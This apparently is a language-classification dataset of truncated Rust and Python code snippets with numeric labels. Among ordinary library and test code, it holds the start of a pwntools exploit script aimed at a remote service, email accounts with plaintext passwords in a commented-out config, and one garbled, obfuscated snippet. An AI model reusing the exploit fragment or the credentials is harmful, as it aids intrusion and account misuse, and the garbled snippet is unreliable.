text
string
label_name
string
labels
int64
erive(scale_info::TypeInfo))] pub enum Error { FailGetErc1155, OnlyOwner, } impl ink_env::chain_extension::FromStatusCode for Error { fn from_status_code(status_code: u32) -> Result<(), Self> { match status_code { 0 => Ok(()), 1 => Err(Self::FailGetErc1155), _ =>...
Rust
0
: assert not_expected not in entries @pytest.mark.parametrize( "reported,expected", [("linux-x86_64", "linux_i686"), ("linux-aarch64", "linux_armv7l")], ) @pytest.mark.skipif( platform.system() != "Linux", reason="Only makes sense to test on Linux" ) def test_platform_linux32(reported, expected, m...
Python
1
wsConnectionMgr': mainObj.deleteSession() except (IxNetRestApiException, Exception, KeyboardInterrupt): if enableDebugTracing: if not bool(re.search('ConnectionError', traceback.format_exc())): print('\n%s' % traceback.format_exc()) if 'mainObj' in locals() and osPlatform == 'linux...
Python
1
y: scrape_slr_scene_id(scene_id) scenes = get_scenes_for_id(scene_id) except Exception as e: print(f"\tXBVR error during scrape and re-search: {e}. Skipping.", file=sys.stderr) continue # Moment of truth: Do we finally have this scene or, like, what if not scenes: print(f"\tNo scenes found i...
Python
1
passive"` on the `"Transport"` header /// line. /// /// In response to a client `"SETUP"` request where the setup parameter is set to `"passive"`, a /// server's 2xx reply must assign the setup parameter to `"active"` on the `"Transport"` header /// line. /// /// In response to a client `"SETUP"` request where the setu...
Rust
0
'Alta': window['-ALTA-'].update(value=True) elif lista_atualizar['Prioridade'] == 'Media': window['-MEDIA-'].update(value=True) else: window['-BAIXA-'].update( value=True) window['-SN-'].update(lista_atualiza...
Python
1
get_cloud_front_origin_access_identity_config_output_cloud_front_origin_access_identity_config(body).map_err(crate::error::GetCloudFrontOriginAccessIdentityConfigError::unhandled) }).transpose() } pub fn deser_header_get_cloud_front_origin_access_identity_config_get_cloud_front_origin_access_identity_config_output...
Rust
0
value() -> Self::Ux { 0 } } //! Like [`std::str::Pattern`], but for [`WStr`]. // TODO: Is performance good? ideas for improvements: // - add some inlines? // - remove implicit bound checks? // - use memchr crate? use super::{Units, WStr}; /// A pattern that can be searched in a [`WStr`]. /// /// - `WS...
Rust
0
m(p: mint::Point2<T>) -> Self { PointN([p.x, p.y]) } } impl<T> From<Point2<T>> for mint::Point2<T> where T: Clone, { #[inline] fn from(p: Point2<T>) -> Self { mint::Point2::from_slice(&p.0) } } impl<T> From<mint::Vector2<T>> for Point2<T> { #[inline] fn from(p: mint::Vector...
Rust
0
ShaderStages { vertex: shaders.add(Shader::from_glsl( ShaderStage::Vertex, include_str!("forward.vert"), )), fragment: Some(shaders.add(Shader::from_glsl( ShaderStage::Fragment, include_str!("forward.frag"), ...
Rust
0
let req_sudt_y_lock_args = MintLiquidityRequestLockArgs::from_raw(&raw_sudt_y_lock_args)?; if req_sudt_x_lock_args.version != VERSION || req_sudt_y_lock_args.version != VERSION { return Err(Error::VersionDiff); } // info_in.type_hash == req_x.lock.args[0..32] if info_in_type_hash != req_sudt...
Rust
0
ounds.height / 2.0) - (style.width as f32 / 2.0)) .round(); let (offset, line_width) = style.fill_mode.fill(bounds.width); let line_x = bounds.x + offset; Primitive::Quad { bounds: Rectangle { x: line_x, ...
Rust
0
SS1RG77EFRTvPZMJT hex!["042f07fc5268f13c026bbe199d63e6ac77a0c2a780f71cda05cee5a6f1b3f11f"].unchecked_into(), //5HjRTLWcQjZzN3JDvaj1UzjNSayg5ZD9ZGWMstaL7Ab2jjAa hex!["fab485e87ed1537d089df521edf983a777c57065a702d7ed2b6a2926f31da74f"].unchecked_into(), //<KEY> hex!["64d59feddb3d00316a55906953fb3db8985797472bd2e...
Rust
0
DOCUMENTATION = """ --- module: authentik_application_icon_url short_description: Allows configuring application icons from the Authentik API description: - This module allows configuring the icon urls for applications from the Authentik API - See https://docs.goauthentik.io/docs/applications#appearance opti...
Python
1
- `c = (witness.accounts - witness.sufficients)` /// - `s = witness.sufficients` /// - `a = witness.approvals` #[pallet::weight(5_000_000)] pub fn destroy(origin: OriginFor<T>, id: T::CurrencyId) -> DispatchResult { let maybe_check_owner = match T::ForceOrigin::try_origin(origin) { Ok(_) => None, Err...
Rust
0
m_head.weight": loaded["output.weight"], } else: state_dict = { "model.norm.weight": loaded[0]["norm.weight"], "model.embed_tokens.weight": torch.cat( [loaded[i]["tok_embeddings.weight"] for i in range(num_shards)], dim=1 ), "lm_head.we...
Python
1
# model settings model = dict( type='EncoderDecoder3D', backbone=dict( type='PointNet2SASSG', in_channels=6, # [xyz, rgb], should be modified with dataset num_points=(1024, 256, 64, 16), radius=(0.1, 0.2, 0.4, 0.8), num_samples=(32, 32, 32, 32), sa_channels=((32,...
Python
1
ailResult.reverse() for newChild in tailResult: self.parent_map[newChild[0]] = currElement currElement.insert(pos, newChild[0]) if len(child): self.parent_map[child] = currElement stack.append((ch...
Python
1
#[cfg_attr(feature = "extra_traits", derive(Debug))] pub enum timezone {} impl ::Copy for timezone {} impl ::Clone for timezone { fn clone(&self) -> timezone { *self } } #[cfg_attr(feature = "extra_traits", derive(Debug))] pub enum ucred_t {} impl ::Copy for ucred_t {} impl ::Clone for ucred_t { fn...
Rust
0
concentration0 = tf.convert_to_tensor(self.concentration0) sig_x = tf.math.sigmoid(x) return special.betainc(concentration1, concentration0, sig_x) def _quantile(self, p): concentration1 = tf.convert_to_tensor(self.concentration1) concentration0 = tf.convert_to_tensor(self.concentration0) y = sp...
Python
1
OTEL_LOGS_EXPORTER_OTLP_ENDPOINT = os.environ.get( "OTEL_LOGS_EXPORTER_OTLP_ENDPOINT", OTEL_EXPORTER_OTLP_ENDPOINT ) OTEL_EXPORTER_OTLP_INSECURE = ( os.environ.get("OTEL_EXPORTER_OTLP_INSECURE", "False").lower() == "true" ) OTEL_METRICS_EXPORTER_OTLP_INSECURE = ( os.environ.get( "OTEL_METRICS_EXPORT...
Python
1
d this way. The order in which fields appear in an entry is undefined and might be different for each entry that is serialized. And that's it. */ any_partial_state( ( many1::<std::collections::HashMap<_, _>, _, _>( ( // Get the key ...
Rust
0
TODO: Check syntax context (Check if marker is the global mark) if i.sym == *"module" { self.found_other = true; } if i.sym == *"exports" { self.found_other = true; } } _ => {} } ...
Rust
0
emoryBound::Unknown, }; } MemoryBound::Bounded(accu) } // an optional value type, e.g., resulting from accessing a stream with offset -1 ValueTy::Option(inner) => get_byte_size(inner), // Used during type inference ValueTy::Infer(_value_var...
Rust
0
_valid(storage) { Some(self.val(storage)) } else { None } } /// Applies `logic` to each pair of time and difference. Intended for mutation of the /// closure's scope. fn map_times<L: FnMut(&T, &R)>(&mut self, storage: &Self::Storage, logic: L); /// Advances the cursor to the next key. fn step_key(&mut self, sto...
Rust
0
@ $name: ident $(($size: tt $parameters: ident)),* ) $($tail: tt)* ) => ( let parameters = ; let $name = $builder.($varsize, Some(stringify!($varname))); emit!($builder => $($tail)*); ); // Returns a value. ( $builder: expr => ( >> $varname: ident ) $($tail: tt)* ) => ( $...
Rust
0
entities, relationships, point_id, metadata ) except Exception as graph_err: logging.error(f"Graph DB error for '{file_path}': {graph_err}") if retry_count < max_retries - 1: retry_count += 1 ...
Python
1
#!/usr/bin/env python # vim: set sw=4 et: from setuptools import setup, find_packages from setuptools.command.test import test as TestCommand import glob from archiveplayer.version import __version__, INFO_URL # Fix for TypeError: 'NoneType' object is not callable" error # when running 'python setup.py test' try: ...
Python
1
x = [i for i in range(10) if i % 2 == 0] print(x)
Python
1
pub use std::convert::TryFrom; pub use std::{f32, f64, panic}; pub use std::collections::hash_map::RandomState; pub use std::collections::HashSet; pub use std::hash::*; fn not_nan<T: Float>(x: T) -> NotNan<T> { NotNan::new(x).unwrap() } #[test] fn ordered_f32_compare_regular_floats() { assert_eq!(OrderedFloa...
Rust
0
!(f, "{:?}-{}", pfn, order) } } impl Serialize for Page { fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error> where S: ser::Serializer, { serializer.serialize_str(&self.to_string()) } } impl Page { pub fn new(pfn: Hex64, order: u32) -> Self { let inner = ((...
Rust
0
from __future__ import division from math import ceil, log def hasher(size): mask = int(size) - 1 def retFunc(point): if type(point)==type([]) and len(point) == 2: key = (int(point[0]) + 31 * int(point[1])) | 0 return (~key if key < 0 else key) & mask return retFunc clas...
Python
1
MemoryView | //! +--------------------------+ //! | //! | //! +-----------+--------------+ //! | (CachedVirtualTranslate) | (Accepts VT3+Phys) //! | VirtualTranslate2 | (Point of caching) //! +--------------------------+ //! | //! | //! +--------+---...
Rust
0
import requests import json # URL = "http://127.0.0.1:8000/student_create" # data ={ # 'name':'sonam', # 'roll':101, # 'city':'Ranchi' # } # json_data = json.dumps(data) # r = requests.post(url = URL,data= json_data) # data = r.json() # print(data) URL1 = "http://127.0.0.1:8000/get_student/" URL2= ...
Python
1
#!usr/bin/python # -*- coding:utf-8 -*- from BaseDevicePreProcess import * class LeX620PreProcess (BaseDevicePreProcess): def __init__(self,tester): super(LeX620PreProcess, self).__init__(tester) def install_process(self): try: Log.logger.info(u"设备:%s 启动app并处理GPS弹窗" % self.teste...
Python
1
es a fixed /// type, taking into account both point offsets. All other combinations are /// forwarded to an [FnWidth][super::combinator::FnWidth]. pub struct MaxWidth {} impl MaxWidth { pub fn new() -> Self { Self {} } /// Combine two widths pub fn combine_widths(lhs: BitWidth, rhs: BitWidth) ...
Rust
0
age(batched_inputs)) processed_results.append(result) return processed_results def _inference_one_image(self, input): """ Args: input (dict): one dataset dict with "image" field being a CHW tensor Returns: dict: one output dict """ aug...
Python
1
# Changed command-line interface -ac # sudoku.py - Dancing links sudoku solver # Copyright (c) 2006,2008 Antti Ajanki <antti.ajanki@iki.fi> # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; eit...
Python
1
"""rm vector timestamps Revision ID: 4ed800abf24a Revises: 892ce7b9a77b Create Date: 2024-12-24 20:22:49.843503 """ from typing import Sequence, Union import sqlalchemy as sa from alembic import op from sqlalchemy.dialects import postgresql # revision identifiers, used by Alembic. revision: str = "4ed800abf24a" do...
Python
1
# Update trailing level if spread moves favorably elif trailing_level is not None and zscore.iloc[i] > trailing_level + step: trailing_level = min(0, trailing_level + step) # Check for trailing stop exit ...
Python
1
self.sess.rc(unsafe { raw::libssh2_knownhost_readline( self.raw, s.as_ptr() as *const _, s.len() as size_t, kind as c_int, ) }) } /// Writes all the known hosts to the specified file using the specified ...
Rust
0
} } } impl LexPattern for IdentifierPattern { fn get_boundary(&self) -> (usize, usize) { (self.min_len, self.max_len) } fn hook(&self, table: &LexTable, _target: &str) -> usize { table.get("IDENTIFIER").0 } fn register(&self, table: &mut LexTable) { table.try_...
Rust
0
f"Unexpected types order of ufunc in {operation}" f"for {order}. Possible fix: Use signed before unsigned" "in generate_umath.py") def test_nonbool_logical(self): # gh-22845 # create two arrays with bit patterns that do not overlap. # needs to be la...
Python
1
::size_of::<T>()`. Both operations include one //! `memcpy(T)` in their successful path. //! - The optimization level is indicated in parentheses. //! - The numbers reported correspond to the successful path (i.e. `Some` is returned by `dequeue` //! and `Ok` is returned by `enqueue`). //! //! # Portability //! //! This...
Rust
0
mut server).unwrap(); let compositor1 = manager .instantiate_exact::<wl_compositor::WlCompositor>(1) .unwrap(); let compositor2 = manager .instantiate_exact::<wl_compositor::WlCompositor>(1) .unwrap(); let compositor3 = compositor1.clone(); assert!(compositor1 == comp...
Rust
0
# Parse minutes if 'm' in before_due: parts = before_due.split('m') if parts[0].isdigit(): total_minutes += int(parts[0]) elif before_due.isdigit(): # If only number without unit, assume minutes total_mi...
Python
1
import hashlib import io from typing import Tuple, TYPE_CHECKING import torch from torch.utils.data import DataLoader if TYPE_CHECKING: from torch import Tensor from torch.nn import Module from avalanche.benchmarks import DatasetScenario from torch.utils.data import Dataset def hash_benchmark( ...
Python
1
from GangaCore.testlib.decorators import add_config @add_config([('TestingFramework', 'AutoCleanup', False)]) def test_all_exceptions(gpi): """Create all exceptions and make sure they behave correctly""" import GangaCore.Core.exceptions test_str = "My Test Error" def exception_test(err_name): ...
Python
1
Its primary use is for serialization #[derive(Debug, Serialize, Deserialize, Clone)] pub enum YamlItem { Clothing(DescriptionWithQualities), Weapon(DescriptionWithQualities), Scenery(DescriptionWithQualities), Edible(DescriptionWithQualities), Holdable(DescriptionWithQualities), Guard { ...
Rust
0
&self, class_file: &ClassFileData, ) -> Result<Option<CodeInfo>, StepError> { debug_assert_eq!(self.id().decompose().0, class_file.id()); // TODO: Check for code for native/abstract methods to allow malformed // versions of them? if !self.should_have_code() { re...
Rust
0
unt(unknown0 as usize & 0xFFFF))] unknown8s: Vec<u32>, } #[derive(BinWrite)] #[binwrite(little)] #[derive(Serialize, Deserialize, NomLE)] #[nom(Exact)] pub struct GwRoadZ { road_count: u32, gen_road_min: Vec2f, gen_road_max: Vec2f, #[nom(Count(road_count))] roads: Vec<GwRoadZRoad>, unknown5...
Rust
0
o73, 0o75, 0o20, 0o02, 0o24, 0o42, 0o32, 0o65, 0o64, 0o62, 0o55, 0o24, 0o67], [0o45, 0o25, 0o01, 0o07, 0o15, 0o32, 0o75, 0o74, 0o64, 0o32, 0o36, 0o06, 0o63, 0o43, 0o23, 0o75], [0o67, 0o63, 0o31, 0o47, 0o51, 0o14, 0o43, 0o15, 0o07, 0o55, 0o25, 0o54, 0o74, 0o34, 0o23, 0o45], [0o15, 0o73, 0o04, 0o1...
Rust
0
if let Err(err) = kurosawa.start().await { println!("Teve um erro {:?}", err); } } <reponame>JensWalter/bondora-rs<gh_stars>0 /// Liability : Borrower's liability #[derive(Debug, Serialize, Deserialize)] pub struct Liability { /// Is refinanced <para>Only Value for new Auctions since 1st of june 20...
Rust
0
class ConfigEmail : def __init__(self): self.config = {} # 存储配置的字典 self.load_config() # 加载配置 def load_config(self): # 加载配置 self.config = { "emails": [ # ("CatlinHarveyfpz70100n@7to.us", "Truong3979"), # ("PauleBarrettcii21967b@7to.us", "Truong3979"), # ("MollVelae...
Python
1
self.driver.send(LssCommand::simple(id, "QMS")).await?; let response = self.driver.receive().await?; let (_, value) = response.separate_string("QMS")?; Ok(Model::from_str(&value)) } /// Query firmware version /// /// # Arguments /// /// * `id` - ID of servo you want to q...
Rust
0
from AccessControl.SecurityManagement import getSecurityManager from AccessControl.SecurityManagement import newSecurityManager from AccessControl.SecurityManagement import setSecurityManager from AccessControl.users import UnrestrictedUser as BaseUnrestrictedUser from contextlib import contextmanager from zope.compone...
Python
1
= self.temporal_attn(x, x, x)[0] x = einops.rearrange( x, "(t wh ww) (b nh nw) c -> b t (nh wh nw ww) c", wh=self.wh, ww=self.ww, nh=h // self.wh, nw=w // self.ww, ) # add back cls token. x = torch.concat([cls_token,...
Python
1
_eq!(graph.files().len(), 2); assert_eq!( graph.files().clone(), HashMap::from([ (paths.sources.join("Greeter.sol"), 0), (paths.root.join("node_modules/hardhat/console.sol"), 1), ]) ); } #[test] fn can_resolve_dapp_depende...
Rust
0
re # 方法1:查找"**来源文件**:"格式 lines = retrieval_content.split('\n') for line in lines: if "**来源文件**:" in line: source_file = line.replace("**来源文件**:", "").strip() # 清理可能的多余字符 source_file = source_file...
Python
1
| (SignatureToken::Address, SignatureToken::Address) | (SignatureToken::Signer, SignatureToken::Signer) => Ok(()), (SignatureToken::Vector(ty1), SignatureToken::Vector(ty2)) => { compare_types(context, ty1, ty2, def_module) } (SignatureToken::Struct(idx1), SignatureT...
Rust
0
nload_tzdata_on_windows(): tzdata_path = os.path.expandvars(r"%USERPROFILE%\Downloads\tzdata") # Download timezone database and remove data in case it already exists if (os.path.exists(tzdata_path)): shutil.rmtree(tzdata_path) download_tzdata_on_windows() # Inspect the folder assert os...
Python
1
!(reader.read_u8().map(signed_from_u8).map(|x| x as i32))), (2, 16) => Ok(try!(reader.read_le_i16().map(|x| x as i32))), (3, 24) => Ok(try!(reader.read_le_i24())), (4, 32) => Ok(try!(reader.read_le_i32())), (n, _) if n > 4 => Err(Error::TooWide), // TODO: add ...
Rust
0
reading line"))? .map_err(|e| anyhow!(e)) } fn get<'a>(m: &'a regex::Captures, name: &str) -> Result<&'a str> { Ok(m.name(name) .ok_or_else(|| anyhow!("{} not found", name))? .as_str()) } // Process, etc // fn process(bufin: impl BufRead) -> Result<i32> { let mut lines_iter = bufin.l...
Rust
0
ad_from_on_disk_cache), } })* } pub fn query_callbacks<'tcx>(arena: &'tcx Arena<'tcx>) -> &'tcx [DepKindStruct] { arena.alloc_from_iter(make_dep_kind_array!(query_callbacks)) } } } // FIXME(eddyb) this macro (and others?) use `$tcx` and `'tcx` interc...
Rust
0
<'a> { /// Create a new ValueRef from an existing byte slice pub fn new(buf: &'a [u8]) -> ValueRef<'a> { ValueRef(buf) } } impl<'a> AsRef<[u8]> for ValueRef<'a> { fn as_ref(&self) -> &[u8] { self.0 } } impl<'a> Value<'a> for ValueRef<'a> { fn from_raw(raw: &'a [u8]) -> ValueRef...
Rust
0
from telebot.types import ReplyKeyboardMarkup, KeyboardButton, InlineKeyboardButton, InlineKeyboardMarkup def all_buttons(): """Функия, возвращающая разметку клавиатуры со всеми командами :return: разметка клавиатуры """ markup = ReplyKeyboardMarkup(resize_keyboard=True) buttons = [ Keyb...
Python
1
end to configure") ] = "sqlite3", ) -> None: """ 🚀 Create a new Django project with uv and best practices. Creates a new Django project using uv for dependency management. """ try: console.print(f"🚀 Creating Django project: [bold blue]{project_name}[/bold blue]") # Create pro...
Python
1
.0, yeij4ph_5c2: apsw7s82eud=0j): """# land_drags_scratch -> smash_values_fronts""" False .leqzs6pjp2s @= ve7x8vga5ex nonlocal lplbzyxbn92 '# land_drags_scratch -> smash_values_fronts' '# land_drags_scratch -> smash_values_fronts' pass del x2bg7dgcbi4 0 .f_ttiityx_i: vh01p1_6ggh = uhpiv_...
Python
1
is\n\ \x20negative.\n\n\n\n\n\x03\x04\0\x01\x12\x03R\x08\x12\n\x1f\n\x04\x04\0\ \x02\0\x12\x03T\x02\x0f\x1a\x12\x20The\x20x\x20component.\n\n\x0c\n\x05\ \x04\0\x02\0\x05\x12\x03T\x02\x08\n\x0c\n\x05\x04\0\x02\0\x01\x12\x03T\t\ \n\n\x0c\n\x05\x04\0\x02\0\x03\x12\x03T\r\x0e\n\x1f\n\x04\x04\0\x02\x01\ ...
Rust
0
[doc = "*Required features: 'Win32_System_SqlLite'*"] pub const SQLITE_IOCAP_IMMUTABLE: u32 = 8192u32; #[doc = "*Required features: 'Win32_System_SqlLite'*"] pub const SQLITE_IOCAP_POWERSAFE_OVERWRITE: u32 = 4096u32; #[doc = "*Required features: 'Win32_System_SqlLite'*"] pub const SQLITE_IOCAP_SAFE_APPEND: u32 = 512u32...
Rust
0
from pwn import * #context.log_level="debug" #r = remote("127.0.0.1",8881) r = remote("192.168.209.129",10001) #r = process("./build_pwn2.sh") elf = ELF("./pwn2") #libc = ELF("/home/h4lo/mipsel-env/lib/libuClibc-0.9.33.2.so") #libc = ELF("ld-uClibc.so.0") libc = ELF("libc.so.0") payload = "H4lo" #payload += p32(0x00...
Python
1
Contains the extracted wavelet features """ # Here I'm explicitly assuming any multi-d images store the colours # in the last dim if len(image.shape) == 2: # Greyscale-like image coeffs = wavelet_decomposition(image, level=self.level, ...
Python
1
# coding: utf-8 """ Python SDK for Logto API Python SDK for Logto API. Note: This SDK is for Logto Cloud and OSS. However, if you are using Logto OSS, some features available in the SDK may not work for you. Please refer to the response of `/api/swagger.json` endpoint on your Logto OSS instance for features ...
Python
1
pn_proto=proto) r.check_exit_code(0) r.check_response(http_status=200, count=1) # check that we did a downgrade assert r.stats[0]['http_version'] == '1.1', r.dump_logs() # On the URL used here, Apache is doing an "unclean" TLS shutdown, # meaning it sends no shutdown notice and ...
Python
1
# -*- coding: utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. from odoo import fields, models class ResConfigSettings(models.TransientModel): _inherit = 'res.config.settings' module_stock_landed_costs = fields.Boolean("Landed Costs", help="Affect landed costs on ...
Python
1
rom("Hello!")); if let Some(_) = s { println!("found a string"); } println!("{:?}", s); // ignoring remaining parts of a value #[allow(dead_code)] struct Point3d { x: i32, y: i32, z: i32, } let origin = Point3d { x: 0, y: 0, z: 0 }; match origin {...
Rust
0
#!/usr/bin/python # # Copyright 2018 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ag...
Python
1
# -*- coding: utf-8 -*- # TencentBlueKing is pleased to support the open source community by making # 蓝鲸智云 - 用户管理 (bk-user) available. # Copyright (C) 2017 THL A29 Limited, a Tencent company. All rights reserved. # Licensed under the MIT License (the "License"); you may not use this file except # in compliance with the...
Python
1
,// N16 0x29,// VkHW_3 0x6D,// YMM0 0xF0, 0x18,// EVEX_Vpermi2w_ymm_k1z_ymm_ymmm256 0x05,// N32 0x29,// VkHW_3 0x8D,// ZMM0 0xF1, 0x18,// EVEX_Vpermi2w_zmm_k1z_zmm_zmmm512 0x06,// N64 0x00,// Invalid 0x00,// Invalid // 118 = 0x76 0x08,// MandatoryPrefix2 0x00,// Invalid ...
Rust
0
''' Create list with different types 100xp A list can contain any Python type. Although it's not really common, a list can also contain a mix of Python types including strings, floats, booleans, etc. The printout of the previous exercise wasn't really satisfying. It's just a list of numbers representing the areas, but...
Python
1
# Copyright 2022 The HuggingFace Inc. team. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appl...
Python
1
# ebs/config.py import json import os import logging class Config: # Default configuration settings DEFAULTS = { "LOGGING_ENABLED": True, "LOGGING_LEVEL": "DEBUG", # Options: DEBUG, INFO, WARNING, ERROR, CRITICAL "SIGNAL_DETECTION_THRESHOLD": 0.1, # Probability threshold for signal d...
Python
1
.tenant); assert_eq!("cluster-1", configured.query.namespace); assert_eq!("0.0.0.0", configured.query.mysql_handler_host); assert_eq!(3306, configured.query.mysql_handler_port); assert_eq!(255, configured.query.max_active_sessions); assert_eq!("1.2.3.4", configured.query.clickhouse_handler_host); ...
Rust
0
+= ::protobuf::rt::value_size(23, v, ::protobuf::wire_format::WireTypeVarint); } for value in &self.passengers { let len = value.compute_size(); my_size += 2 + ::protobuf::rt::compute_raw_varint32_size(len) + len; }; if let Some(v) = self.cargo_space_taken { ...
Rust
0
"*Required features: 'Win32_Graphics_Direct3D9'*"] pub const D3DBUSTYPE_OTHER: D3DBUSTYPE = 0i32; #[doc = "*Required features: 'Win32_Graphics_Direct3D9'*"] pub const D3DBUSTYPE_PCI: D3DBUSTYPE = 1i32; #[doc = "*Required features: 'Win32_Graphics_Direct3D9'*"] pub const D3DBUSTYPE_PCIX: D3DBUSTYPE = 2i32; #[doc = "*Re...
Rust
0
#Get list of reportstring(s) from each process reportstringlist=[reportstring] dmin=-1 dmin_proc=-1 msg="Mesh Info Query Element IPC/MPI:\n" #Get report from other processes for proc in range(_size): if proc!=0: ...
Python
1
self.animal_service.activate(animal_id=violation.animal_id) else: self.animal_service.deactivate(animal_id=violation.animal_id) def build(self): st.markdown("# Violation check") violation_type_id = self.__build_violation_type_select_box() is_effective...
Python
1
assert!(<&Rdata>::try_from(almost_too_long).is_ok()); } #[test] fn rdata_constructor_rejects_long_slice() { let too_long = [0; u16::MAX as usize + 1]; assert_eq!(<&Rdata>::try_from(&too_long[..]), Err(RdataTooLongError)); } #[test] fn read_checks_if_message_is_long_enou...
Rust
0
match sink_req { StreamSinkRequest::SendPacketNoReply { packet, .. } => { (packet.payload_offset, packet.payload_size as usize) } _ => panic!("should have received a packet"), }; let mut recv = Vec::with_capacity(size); recv.resize(size, 0); ...
Rust
0
import pickle import time from dataclasses import dataclass, field, replace from pathlib import Path import os import ctypes import platform import sys import numpy as np import torch from lerobot.common.robot_devices.cameras.utils import Camera from lerobot.common.robot_devices.motors.dynamixel import ( DriveMod...
Python
1
rt = "UDP" return hi def _make_node_from_json(self, json): newNode = OSCQueryNode() if "CONTENTS" in json: subNodes = [] for subNode in json["CONTENTS"]: subNodes.append(self._make_node_from_json(json["CONTENTS"][subNode])) newNode.conte...
Python
1
from typing import cast from loguru import logger from port_ocean.core.handlers.port_app_config.models import ResourceConfig from port_ocean.core.handlers.webhook.webhook_event import ( EventPayload, WebhookEvent, WebhookEventRawResults, ) from checkmarx_one.core.options import ( ListKicsOptions, ) fro...
Python
1
_visit(node, **kwargs) for name in node.names: if isinstance(name, tuple): self.symbols.store(name[1]) else: self.symbols.store(name) def visit_Assign(self, node: nodes.Assign, **kwargs: t.Any) -> None: """Visit assignments in the correct ord...
Python
1
folder_exists(&folder)?) { fs::create_dir(&folder)? } // Create a filename based on input parameters let filepath = format!( "./{}/data_n{}_dmax{}_seeds{}_iseed{}.csv", folder, n, d_max, max_seed, params.init_seed ); let mut wtr = csv::Writer::from_path(filepath)?; // ...
Rust
0
std_results = {k: np.round(v, 4) for k, v in std_results.items()} gts_std[k_ind] = std_results["exp_all_auroc"] approxs_std[k_ind] = std_results["approx_all_auroc"] print("gts", gts) print("approx", approxs) colors = [(0.578, 0.747, 0.802), (0.758, 0.617, 0.849), (0.900, 0.613, 0.65...
Python
1
_SRAMPM_LP } } #[doc = "Values that can be written to the field `SYSCTL_DSLPPWRCFG_SRAMPM`"] #[derive(Clone, Copy, Debug, PartialEq)] pub enum SYSCTL_DSLPPWRCFG_SRAMPMW { #[doc = "Active Mode"] SYSCTL_DSLPPWRCFG_SRAMPM_NRM, #[doc = "Standby Mode"] SYSCTL_DSLPPWRCFG_SRAMPM_SBY, #[doc = "Low Power...
Rust
0
# Pyrogram - Telegram MTProto API Client Library for Python # Copyright (C) 2017-present Dan <https://github.com/delivrance> # # This file is part of Pyrogram. # # Pyrogram is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published # by the F...
Python
1
import os import random import time import torch import zmq from torch.multiprocessing import Queue, get_context from checkpoint_engine.ps import ParameterServer, _get_physical_gpu_id from checkpoint_engine.worker import update_weights_from_ipc def gen_test_tensors(rank: int) -> list[tuple[str, torch.Tensor]]: ...
Python
1
piler // produced code with almost no jumps and very localized code and data, which // resulted in some extremely fast benches. Combined with the fact that the // compiler doesn't try to inline functions across crates, and the extra fn call // was a killer for the ti...
Rust
0
rate::Readable for DEMCR_SPEC { type Reader = R; } #[doc = "`write(|w| ..)` method takes [demcr::W](W) writer structure"] impl crate::Writable for DEMCR_SPEC { type Writer = W; } #[doc = "`reset()` method sets DEMCR to value 0"] impl crate::Resettable for DEMCR_SPEC { #[inline(always)] fn reset_value() ...
Rust
0